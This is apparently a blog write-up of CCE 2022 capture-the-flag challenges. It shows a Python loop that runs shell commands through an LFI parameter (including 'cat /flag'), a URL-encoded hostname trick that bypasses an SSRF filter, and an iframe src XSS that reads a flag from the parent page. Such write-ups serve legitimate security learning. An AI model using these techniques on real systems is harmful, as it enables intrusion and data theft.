After a long time I did ctf again. Actually, a few days ago, 김지섭님, a member of zer0pt, asked me to do CCE together, but I refused. The reason was because of work.
But I was able to find 5 XSS from ** by concentrating on my work. And maybe if i was with him, it would have been the first and last CCE general finals of my life XD
reborn of php
The reborn of php is challenge that triggers RCE via file upload. And the flag location is /flag
This is code of index.php and controller.lib.php. In the index.php, It takes parameters and passes them to the Controller constructor. An LFI vulnerability exists in the process() method of Controller. If we can create arbitrary php files on the server we can trigger RCE.
A vulnerability exists in the save_user_id() function that can create arbitrary files. Also, this function is fired when registering as a member. And the file creation path is under /var/www/html/dbs/
while(1): payload = input("[+] Enter the command : ") RESULT = requests.get(CHALLURL + f'/?b=login&a=../../dbs/{filename}&x={payload}').text print(RESULT)
I wrote the exploit code as above.
1 2 3 4 5 6 7 8 9 10
❯ python3 poc.py [+] FILANAME : 37106.php [+] Enter the command : id
s:32:"uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data)"; [+] Enter the command : cat /flag
for s in parse_hostname: hostname += hex(ord(s)).replace('0x','%')
url = f'http://{hostname}/flag' print(url)
FLAG = requests.post(CHALLURL, data={'url':url}).text print(f'FLAG is {FLAG}')
''' http://%66%6c%61%67%2e%73%65%72%76%69%63%65/flag FLAG is cce2022{this_is_not_real_flag} '''
This can be easily solved as above. When parsing a url, the hostname is parsed in the url-encoded state, but when sending a request, the url-encoded hostname is decoded.
There is a function called saveArchive() in lib.js. This function uses puppeteer to open an arbitrary browser in the background. After that, the file-related logic is moved to the sandbox url after execution.
app.get('/', function (req, res) { data = `<html> <head><title>sandbox</title></head> <body> <script> FLAG = "cce2022{this_is_not_real_flag}" </script> <iframe src="${encode(req.query.url)}" style="width: 100%; height: 100%; border: 0"></iframe> </body> </html>` res.setHeader("Content-Type","text/html").send(data); })
app.listen(process.env.PORT);
// /sandbox/src/index.js
When I checked the code of /sandbox/src/index.js, I could see that there was a FLAG in the Dom. And it gets the value of the url parameter from the iframe part and passes it as the value of src as it is. We can trigger XSS because we can manipulate the value of src at will.
The structure of the dome is as above. The vulnerability occurs in Iframes. But the flag is in Parent Dom.
So we must read the value of window.parent.document.body. If the value of document.body is read, the document of the only iframe is read.